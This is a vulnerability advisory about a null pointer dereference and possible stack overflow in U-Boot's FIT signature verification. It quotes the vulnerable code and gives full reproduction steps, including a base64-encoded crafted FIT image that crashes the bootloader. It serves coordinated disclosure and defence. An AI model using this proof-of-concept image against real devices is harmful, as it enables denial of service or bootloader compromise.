Null pointer dereference and potential stack buffer overflow in U-Boot during FIT image signature verification in `fdt_find_regions`
BINARLY REsearch team has discovered a memory corruption vulnerability in U-Boot during the FIT image signature verification process, allowing a potential attacker to cause a denial of service or, in some cases, execute arbitrary code.
Image preview
Potential Impact
An attacker can exploit this vulnerability to cause a denial of service (DoS) of the device running the U-Boot bootloader, or, in some cases, achieve pre-authentication code execution in the context of the bootloader, which could lead to full control over the device.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-037
- BINARLY calculated CVSS v3.1: 4.6 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
fdt_get_name in scripts/dtc/libfdt/fdt_ro.c can return a null pointer. This happens when the fdt_ro_probe_ or fdt_check_node_offset_ check fails, as well as when the !can_assume(LATEST) && fdt_version(fdt) < 0x10 condition is true and the FDT node name doesn't contain the '/' character:
const char *fdt_get_name(const void *fdt, int nodeoffset, int *len)
{
const struct fdt_node_header *nh = fdt_offset_ptr_(fdt, nodeoffset);
const char *nameptr;
int err;
if (((err = fdt_ro_probe_(fdt)) < 0)
|| ((err = fdt_check_node_offset_(fdt, nodeoffset)) < 0))
goto fail;
nameptr = nh->name;
if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) {
/*
* For old FDT versions, match the naming conventions of V16:
* give only the leaf name (after all /). The actual tree
* contents are loosely checked.
*/
const char *leaf;
leaf = strrchr(nameptr, '/');
if (leaf == NULL) {
err = -FDT_ERR_BADSTRUCTURE;
goto fail;
}
nameptr = leaf+1;
}
if (len)
*len = strlen(nameptr);
return nameptr;
fail:
if (len)
*len = err;
return NULL;
}
The fdt_get_name function is used in fdt_find_regions in boot/fdt_region.c:
switch (tag) {
...
case FDT_BEGIN_NODE:
depth++;
if (depth == FDT_MAX_DEPTH)
return -FDT_ERR_BADSTRUCTURE;
name = fdt_get_name(fdt, offset, &len);
/* The root node must have an empty name */
if (!depth && *name)
return -FDT_ERR_BADLAYOUT;
if (end - path + 2 + len >= path_len)
return -FDT_ERR_NOSPACE;
if (end != path + 1)
*end++ = '/';
strcpy(end, name);
If fdt_get_name returns a null pointer and the depth is not zero, execution reaches the strcpy call, which copies data from address 0x0 into the destination buffer allocated on the stack. The if (end - path + 2 + len >= path_len) bounds check does not prevent this, since len is set to the negative error code returned by fdt_get_name, which makes the left-hand side smaller rather than larger than path_len.
This strcpy call can crash the boot process and cause a DoS of the device. If an attacker can control the content at address 0x0, this can also lead to code execution in the context of the bootloader, which could result in full control over the device.
NOTE: if the depth is zero and the zero page is not mapped, a crash will occur at the *name check that verifies the root node has an empty name.
Image preview
Steps for exploitation
Build U-Boot with sandbox configuration:
make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon
Save the following U-Boot control DTB source to u-boot.dts:
/dts-v1/;
/ {
model = "Sandbox Verified Boot Test";
compatible = "sandbox";
signature {
key-prod {
required = "conf";
algo = "sha256,rsa2048";
};
};
binman {
};
reset@0 {
compatible = "sandbox,reset";
};
};
Compile the DTB:
dtc -I dts -O dtb -o u-boot.dtb u-boot.dts
Dump the crafted FIT image to a file:
echo "0A3+7QAAAVEAAAA4AAABPAAAACgAAAAPAAAAAgAAAAAAAAAVAAABBAAAAAAAAAAAAAAAAAAAAAAA
AAABLwAAAAAAAAEvaW1hZ2VzAAAAAAEvaW1hZ2VzL2kAAAAAAAABL2ltYWdlcy9pL2hhc2gAAAAA
AAIAAAACAAAAAWNoaWxkAAAAAAAAAgAAAAIAAAABL2NvbmZpZ3VyYXRpb25zAAAAAAMAAAACAAAA
AGMAAAAAAAABL2NvbmZpZ3VyYXRpb25zL2MAAAAAAAADAAAAAgAAAAhpAAAAAAAAAS9jb25maWd1
cmF0aW9ucy9jL3NpZ25hdHVyZTEAAAAAAAAAAwAAAA0AAAAKc2hhMSxyc2EyMDQ4AAAAAAAAAAMA
AAAEAAAADwAAAAAAAAACAAAAAgAAAAIAAAACAAAACWRlZmF1bHQAawBhbGdvAHZhbHVlAA==" | base64 -d > poc.fit
You can check the content of the crafted FIT image with the fdtdump utility:
fdtdump poc.fit
**** fdtdump is a low-level debugging tool, not meant for general use.
**** If you want to decompile a dtb, you probably want
**** dtc -I dtb -O dts <filename>
/dts-v1/;
// magic: 0xd00dfeed
// totalsize: 0x151 (337)
// off_dt_struct: 0x38
// off_dt_strings: 0x13c
// off_mem_rsvmap: 0x28
// version: 15
// last_comp_version: 2
// boot_cpuid_phys: 0x0
// size_dt_strings: 0x15
/ {
/images {
/images/i {
/images/i/hash {
};
};
child {
};
};
/configurations {
default = "c";
/configurations/c {
k = "i";
/configurations/c/signature1 {
algo = "sha1,rsa2048";
value = <0x00000000>;
};
};
};
};
You can see that the version of the crafted FIT image is 15, and that the name of the second child of the /images node doesn't contain the '/' character. These factors will cause the fdt_get_name function to return an error, so the name used in the strcpy call in the fdt_find_regions function will be set to null.
We can now check that the U-Boot crashes when the crafted FIT image signature is verified:
./u-boot -d u-boot.dtb -c 'host load hostfs - 100 poc.fit; fdt addr 100; fdt checksign'
Bloblist at 100 not found (err=-2)
U-Boot 2026.04 (May 14 2026 - 11:31:24 +0100)
Model: Sandbox Verified Boot Test
DRAM: 256 MiB
Core: 30 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial,cros-ec-keyb,usbkbd
Out: serial,vidconsole
Err: serial,vidconsole
Model: Sandbox Verified Boot Test
Net: eth_initialize() No ethernet found.
337 bytes read in 0 ms
Working FDT set to 100
sha1,rsa2048:<NULL>zsh: segmentation fault ./u-boot -d u-boot.dtb -c
The crash occurs because address 0x0 is unmapped in the current setup. In a real-world scenario, this memory may be mapped and its contents could even be attacker-controlled - for example, through a separate null-address write primitive - allowing the strcpy to copy attacker-controlled bytes into the stack buffer and turn this null pointer dereference into an exploitable stack buffer overflow.
Image preview
How to fix it
Ensure that the value returned by fdt_get_name is not null before dereferencing.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-13 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs